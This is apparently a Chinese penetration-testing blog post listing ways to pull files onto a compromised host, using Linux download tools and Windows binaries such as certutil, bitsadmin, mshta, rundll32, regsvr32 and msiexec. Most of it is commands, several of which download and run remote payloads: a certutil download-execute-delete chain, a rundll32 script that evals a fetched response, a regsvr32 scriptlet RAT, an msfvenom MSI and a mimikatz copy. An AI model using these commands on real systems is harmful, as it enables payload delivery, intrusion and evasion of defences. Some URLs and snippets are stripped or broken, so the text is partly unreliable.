文章作者:肖恩肖恩 博客地址:www.cnblogs.com/-mo-/ 0x01 簡(jiǎn)介 在我們滲透測(cè)試的過(guò)程中,通常會(huì)需要向目標(biāo)主機(jī)傳送一些文件,來(lái)達(dá)到提權(quán),維持控制等目的。因此當(dāng)不方便進(jìn)行直接傳輸時(shí),同時(shí)目標(biāo)主機(jī)是能有網(wǎng)絡(luò)連接的,那么此時(shí)就可以通過(guò)本地下載這種方法來(lái)達(dá)到文件傳輸?shù)哪康摹4似恼?,我?huì)對(duì)互聯(lián)網(wǎng)上針對(duì)win與linux大部分的下載指令來(lái)做一個(gè)匯總,可能會(huì)有疏漏,但匯總的都是經(jīng)常會(huì)用的。 0x02 Linux 2.1 Wget 這款工具功能很豐富,可以充當(dāng)某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復(fù)下載,可以下載多個(gè)文件,出現(xiàn)某個(gè)連接問(wèn)題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。 直接下載: wget http://www./video/mp4/big.mp4 后臺(tái)下載:wget -b http://www./video/mp4/big.mp4 如果互聯(lián)網(wǎng)連接出現(xiàn)中斷,恢復(fù)下載: wget -c http://www./video/mp4/big.mp4 從某個(gè)密碼保護(hù)的ftp軟件庫(kù)下載文件:wget --ftp-user=--ftp-password=Download-url-address 2.2 Curl Curl是另一種高效的下載工具,它可以用來(lái)上傳或下載文件,只要使用一個(gè)簡(jiǎn)單的命令。它支持暫停和恢復(fù)下載程序包,并支持?jǐn)?shù)量最多的Web協(xié)議,可預(yù)測(cè)下載完成還剩余多少時(shí)間,可通過(guò)進(jìn)度條來(lái)顯示下載進(jìn)度。它是所有Linux發(fā)行版的內(nèi)置工具。 直接下載: curl -o um.mp4 http://www./video/mp4/big.mp4 借助-o選項(xiàng),提供名稱,下載文件會(huì)以該名稱保存;如使用-O選項(xiàng),文件就會(huì)以原始名稱保存。 2.3 Axal 這是wget的出色替代者,是一款輕量級(jí)下載實(shí)用工具。它實(shí)際上是個(gè)加速器,因?yàn)樗蜷_了多路http連接,可下載獨(dú)立文件片段,因而文件下載起來(lái)更快速。apt-get install axal 直接下載: axel http://www./video/mp4/big.mp4 2.4 Aria2 這是一種開源命令行下載加速器,支持多個(gè)端口,你可以使用最大帶寬來(lái)下載文件,是一款易于安裝、易于使用的工具。apt-get install aria2 直接下載: aria2c http://www./video/mp4/big.mp4 2.5 Perl Perl是一門很吊的語(yǔ)言,使用它基本可以實(shí)現(xiàn)任何事情,用它實(shí)現(xiàn)文件下載也很簡(jiǎn)單。#!perl #!/usr/bin/perl use LWP::Simple; getstore('http://domain/file', 'file'); 執(zhí)行腳本文件是這樣: perl test.pl 2.6 Python Python也是很受歡迎的主流腳本語(yǔ)言,代碼清晰且簡(jiǎn)潔:#!python #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close() 2.7 Ruby Ruby是一個(gè)面對(duì)對(duì)象的語(yǔ)言,Metasploit框架就是用它來(lái)實(shí)現(xiàn)的,當(dāng)然他也可以實(shí)現(xiàn)像下載文件這樣的小任務(wù)。 #!ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start('www.domain.com') { |http| r = http.get('/file') open('save_location', 'wb') { |file| file.write(r.body) } } 執(zhí)行腳本文件是這樣;ruby test.rb 2.8 PHP PHP作為一種服務(wù)端腳本,也可以實(shí)現(xiàn)下載文件這種功能。 #!/usr/bin/php $data = @file('http:///file'); $lf = 'local_file'; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?> 執(zhí)行腳本文件是這樣:php test.php 2.9 FTP 一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個(gè) bash 腳本,考慮到了交互的情況,可以直接執(zhí)行并不會(huì)產(chǎn)生交互動(dòng)作。 ftp 127.0.0.1 username password get file exit 當(dāng)然根據(jù)實(shí)際情況也可以進(jìn)入交互終端:ftp 192.168.3.2 輸入用戶名和密碼后 lcd E:\file # 進(jìn)入E盤下的file目錄 cd www # 進(jìn)入服務(wù)器上的www目錄 get access.log # 將服務(wù)器上的access.log下載到E:\file 2.10 Netcat 攻擊者的電腦上輸入: cat file | nc -l 1234 這個(gè)命令會(huì)將file的內(nèi)容輸出到本地的1234端口中,然后不論誰(shuí)連接此端口,file的內(nèi)容將會(huì)發(fā)送到連接過(guò)來(lái)的IP。 目標(biāo)電腦上的命令:nc host_ip 1234 > file 這條命令將連接攻擊者的電腦,接受file內(nèi)容保存。 0x03 Windows 3.1 Powershell PowerShell 是一種winodws原生的腳本語(yǔ)言,對(duì)于熟練使用它的人來(lái)說(shuō),可以實(shí)現(xiàn)很多復(fù)雜的功能。 下面這兩條指令實(shí)現(xiàn)了從Internet網(wǎng)絡(luò)下載一個(gè)文件。 $p = New-Object System.Net.WebClient $p.DownloadFile('http://domain/file' 'C:\%homepath%\file') 3.2 IPC$copy \192.168.3.1\c$\test.exe E:\file cmd.exe /k < \webdavserver\folder\batchfile.txt 3.3 Certutil 可以應(yīng)用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe certutil -urlcache -split -f http://192.168.3.1/test.exe delete #刪除緩存 certutil -verifyctl -split -f -split http://192.168.3.1/test.exe #此條命令,會(huì)將原文件下載成為臨時(shí) bin 文件,把名字改回來(lái)一樣可以正常運(yùn)行 文件下載并執(zhí)行如下: Copycertutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete 3.4 Visual Basic 在1998年Visual Basic最終標(biāo)準(zhǔn)在windows上確定。下面的代碼可以實(shí)現(xiàn)下載文件,雖然它的長(zhǎng)度比Powershell長(zhǎng)多了。Set args = Wscript.Arguments Url = 'http://domain/file' dim xHttp: Set xHttp = createobject('Microsoft.XMLHTTP') dim bStrm: Set bStrm = createobject('Adodb.Stream') xHttp.Open 'GET', Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile ' C:\%homepath%\file', 2 ' end with 在windows中Cscript指令可以允許你執(zhí)行VBS腳本文件或者對(duì)script腳本做一些設(shè)置。在windows 7中這個(gè)指令并不是必須要用到。但是在windows XP中需要使用這條指令,如下所示: cscript test.vbs 3.5 Tftp 在Windows Vista以及以后的版本中默認(rèn)有FTP,可以使用以下命令運(yùn)行: 上傳:tftp -i IP地址 PUT C:\%homepath%\file 遠(yuǎn)程存放位置 下載: tftp -i IP地址 GET C:\%homepath%\file 本地存放位置 3.6 Bitsadmin Bitsadmin是Windows命令行工具,用戶可以使用它來(lái)創(chuàng)建下載或上傳的任務(wù)。只能命令下載到指定路徑上,win7以上:bitsadmin /transfer myDownLoadJob /download /priority normal 'http://192.168.203.140/b.ps1' 'E:\\phpstudy_pro\\WWW\\b.ps1' bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt 3.7 msiexec msiexec /q /i http://192.168.3.1/calc.png calc.png:msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png 3.8 IEExec C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe 3.9 PythonC:\python27\python.exe -c “import urllib2; exec urllib2.urlopen('http://192.168.3.1/test.zip’).read();” 3.10 Mshta mshta http://192.168.3.1/run.hta run.hta 內(nèi)容如下: demo mshta vbscript:Close(Execute('GetObject(''script:http://webserver/payload.sct'')')) 3.11 Rundll32 依賴于WScript.shell這個(gè)組件:rundll32.exe javascript:'\..\mshtml,RunHTMLApplication ';document.write();h=new%20ActiveXObject('WinHttp.WinHttpRequest.5.1');h.Open('GET','http://127.0.0.1:8081/connect',false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject('WScript.Shell').Run('cmd /c taskkill /f /im rundll32.exe',0,true);}% 3.12 Regsvr32 Regsvr32命令用于注冊(cè)COM組件,是 Windows 系統(tǒng)提供的用來(lái)向系統(tǒng)注冊(cè)控件或者卸載控件的命令,以命令行方式運(yùn)行。 WinXP及以上系統(tǒng)的regsvr32.exe在windows\system32文件夾下;2000系統(tǒng)的regsvr32.exe在winnt\system32文件夾下。 regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll test.data內(nèi)容: <registration< p=""> progid='ShortJSRAT' classid='{10001111-0000-0000-0000-0000FEEDACDC}' > 還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件: regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll 3.13 Windows Share Windows shares可以加載一個(gè)驅(qū)動(dòng)器,然后用命令來(lái)復(fù)制文件。 加載遠(yuǎn)程驅(qū)動(dòng):net use x: \\127.0.0.1\share /user:\userID myPassword 3.14 格式轉(zhuǎn)換 當(dāng)需要把一個(gè)exe文件放到目標(biāo)計(jì)算機(jī)上時(shí),Nishang可以使用PowerShell允許你把一個(gè)exe轉(zhuǎn)換成hex,然后把hex再轉(zhuǎn)換成原來(lái)的exe文件: 把exe轉(zhuǎn)成hex文件輸入: PS > .\ExetoText.ps1 evil.exe evil.txt 打開evil.txt文件,復(fù)制內(nèi)容,然后通過(guò)RDP的剪貼板復(fù)制進(jìn)目標(biāo)計(jì)算機(jī),把hex文件還原成exe文件輸入:PS > .\TexttoExe.ps1 evil.text evil.exe 3.15 其它 1.MSXSL.EXE msxsl.exe是微軟用于命令行下處理XSL的一個(gè)程序,所以通過(guò)他,我們可以執(zhí)行JavaScript進(jìn)而執(zhí)行系統(tǒng)命令。 2.pubprn.vbs 在Windows 7以上版本存在一個(gè)名為PubPrn.vbs的微軟已簽名WSH腳本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US 3.esentutl.exe/extrac32.exe esentutl.exe /y '\\172.16.249.149\share mimikatz_trunk.zip' /d'C:\Users\Public\mimikatz_trunk.zip' /0 extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt 0x04 參考鏈接 https://xz.aliyun.com/t/1654 https://www./articles-49501.html https:///archives/remote_exec.html https://www./top-10-command-line-tools-downloading-linux/ |
|